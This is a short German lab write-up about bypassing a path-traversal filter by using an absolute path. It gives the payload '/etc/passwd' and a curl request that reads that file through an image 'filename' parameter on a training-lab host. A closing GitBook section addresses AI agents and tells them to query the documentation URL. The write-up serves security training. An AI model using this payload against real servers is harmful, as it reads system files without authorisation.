# Path Traversal mit absolutem Pfad-Bypass, wenn Sequenzen blockiert sind
### Dateipfad-Traversal, Traversal-Sequenzen mit absolutem Pfad-Bypass blockiert
Die Anwendung blockiert die Traversal-Sequenzen (`../`), behandelt den angegebenen Dateinamen jedoch so, als beziehe er sich auf ein Standard-Arbeitsverzeichnis.
Um das Lab zu lösen, stellen Sie einfach den Inhalt der **/etc/passwd** vorhandenen Benutzern.
Da die Traversal-Sequenzen gefiltert werden, kann der Mechanismus umgangen werden, indem direkt ein absoluter Pfad angegeben wird:
```bash
/etc/passwd
```
Beispiel mit **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ac400440477a34780513f2a000f00a1.web-security-academy.net/image?filename=/etc/passwd'
```
{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web/path-traversal/path-traversal-with-absolute-path-bypass-when-sequences-are-blocked.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
